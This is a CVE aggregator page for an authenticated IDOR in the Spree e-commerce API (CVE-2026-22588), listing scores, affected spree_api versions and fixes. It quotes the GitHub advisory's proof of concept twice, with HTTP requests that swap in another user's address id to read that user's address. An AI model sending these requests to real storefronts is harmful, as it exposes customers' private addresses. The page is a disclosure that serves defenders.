CVE-2026-22588
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
- Record
CVE-2026-22588- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
EUVDEUVD-2026-1421
6.5
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
- Record
EUVD-2026-1421- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g268-72p7-9j6j
6.5
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Summary
An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.
Details
Affected Component(s)
- Authenticated user order management
- Address association logic
- Order update endpoint(s) Affected Endpoint(s):
/api/v2/storefront/checkout
The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.
PoC
Preconditions
- Valid authenticated user account
Step 1: Log-in using a valid user, in this case [email protected] Step 2: Visualize current user’s addresses
Request
GET /account/addresses
The following screenshot shows [email protected] address.
<img width="336" height="375" alt="User Address" src="https://github.com/user-attachments/assets/ceb1f214-7ac0-40b0-af22-6fe9d21254bb" />
Step 3: Initialize the Shopping Cart
Request
POST /api/v2/storefront/cart HTTP/1.1
From the response, extract the token marked in bold.
Step 4: Legitimate Order Edit Request
Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address
Request
PATCH /api/v2/storefront/checkout
{
"include": "billing_address",
"order": {
"email": "[email protected]",
"bill_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
},
"ship_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
}
}
}
Step 5: Modify the order request to include the other user's address and trigger the IDOR.
In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.
Request
PATCH /api/v2/storefront/checkout
{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}
As can be seen other user's address is displayed.
Impact
As a result, an attacker can:
- Replace the address identifier with one belonging to another user
- Cause the backend to associate and return another user’s address within the attacker’s order
- Record
GHSA-g268-72p7-9j6j- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
NVD
6.5
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
- Record
CVE-2026-22588- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
OSV
6.5
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Spree is an open source e-commerce solution built with Ruby on Rails. Prior to versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5, an Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response. This issue has been patched in versions 4.10.2, 5.0.7, 5.1.9, and 5.2.5.
- Record
CVE-2026-22588- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
OSVGHSA-g268-72p7-9j6j
6.5
Spree API has Authenticated Insecure Direct Object Reference (IDOR) via Order Modification
Summary
An Authenticated Insecure Direct Object Reference (IDOR) vulnerability was identified that allows an authenticated user to retrieve other users’ address information by modifying an existing order. By editing an order they legitimately own and manipulating address identifiers in the request, the backend server accepts and processes references to addresses belonging to other users, subsequently associating those addresses with the attacker’s order and returning them in the response.
Details
Affected Component(s)
- Authenticated user order management
- Address association logic
- Order update endpoint(s) Affected Endpoint(s):
/api/v2/storefront/checkout
The application fails to enforce proper object-level authorization when updating an existing order. While the user is authenticated and authorized to modify their own order, the backend does not verify that the supplied address identifiers belong to the same authenticated user.
PoC
Preconditions
- Valid authenticated user account
Step 1: Log-in using a valid user, in this case [email protected] Step 2: Visualize current user’s addresses
Request
GET /account/addresses
The following screenshot shows [email protected] address.
<img width="336" height="375" alt="User Address" src="https://github.com/user-attachments/assets/ceb1f214-7ac0-40b0-af22-6fe9d21254bb" />
Step 3: Initialize the Shopping Cart
Request
POST /api/v2/storefront/cart HTTP/1.1
From the response, extract the token marked in bold.
Step 4: Legitimate Order Edit Request
Using the obtained order token A1cram_6cFWpoj4V1yPkuQ1767113871701 perform an edit order request in order to add a custom billing address
Request
PATCH /api/v2/storefront/checkout
{
"include": "billing_address",
"order": {
"email": "[email protected]",
"bill_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
},
"ship_address_attributes": {
"firstname":"CTF","lastname":"Tester","address1":"123 Main St",
"city":"Andorra la Vella","zipcode":"AD100","country_iso":"AD"
}
}
}
Step 5: Modify the order request to include the other user's address and trigger the IDOR.
In this request, the attacker modifies the request by substituting the address identifier with one belonging to another user, thereby rendering the original address identifier accessible to the attacker.
Request
PATCH /api/v2/storefront/checkout
{"include":"billing_address","order":**{"bill_address_attributes":{"id":1}}**}
As can be seen other user's address is displayed.
Impact
As a result, an attacker can:
- Replace the address identifier with one belonging to another user
- Cause the backend to associate and return another user’s address within the attacker’s order
- Record
GHSA-g268-72p7-9j6j- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-639
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
spree_apiRubyGems |
3.7.0 up to 4.10.2 | 4.10.2 |
spree_apiRubyGems |
5.0.0 up to 5.0.7 | 5.0.7 |
spree_apiRubyGems |
5.1.0 up to 5.1.9 | 5.1.9 |
spree_apiRubyGems |
5.2.0 up to 5.2.5 | 5.2.5 |
spree_apiRubyGems |
3.7.0 up to 4.10.2, plus listed versions 3.7.13.7.103.7.113.7.123.7.13 Show 45 moreShow less3.7.143.7.14.13.7.23.7.33.7.43.7.53.7.63.7.73.7.83.7.94.0.04.0.0.beta4.0.0.rc14.0.0.rc24.0.0.rc34.0.14.0.24.0.34.0.44.0.54.0.64.0.74.0.7.14.0.84.0.94.1.04.1.0.rc14.1.0.rc24.1.0.rc34.1.14.1.104.1.114.1.124.1.134.1.13.14.1.144.1.154.1.24.1.34.1.44.1.54.1.64.1.74.1.84.1.9 |
4.10.2 |
spree_apiRubyGems |
5.0.0 up to 5.0.7, plus listed versions 5.0.15.0.25.0.35.0.45.0.55.0.6 |
5.0.7 |
spree_apiRubyGems |
5.1.0 up to 5.1.9, plus listed versions 5.1.15.1.25.1.35.1.45.1.55.1.65.1.75.1.8 |
5.1.9 |
spree_apiRubyGems |
5.2.0 up to 5.2.5, plus listed versions 5.2.15.2.25.2.35.2.4 |
5.2.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-22588 is a medium vulnerability (CVSS 6.5) in Spree, published January 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in spree_api 4.10.2.
References
github.com/spree/spree/security/advisories/GHSA-g268-72p7-9j6j
github.com/spree/spree/commit/02acabdce2c5f14fd687335b068d901a957a7e72
github.com/spree/spree/commit/17e78a91b736b49dbea8d1bb1223c284383ee5f3
github.com/spree/spree/commit/b409c0fd327e7ce37f63238894670d07079eefe8
github.com/spree/spree/commit/d3f961c442e0015661535cbd6eb22475f76d2dc7
nvd.nist.gov/vuln/detail/CVE-2026-22588
Left out here: 50 versions. The JSON record has them.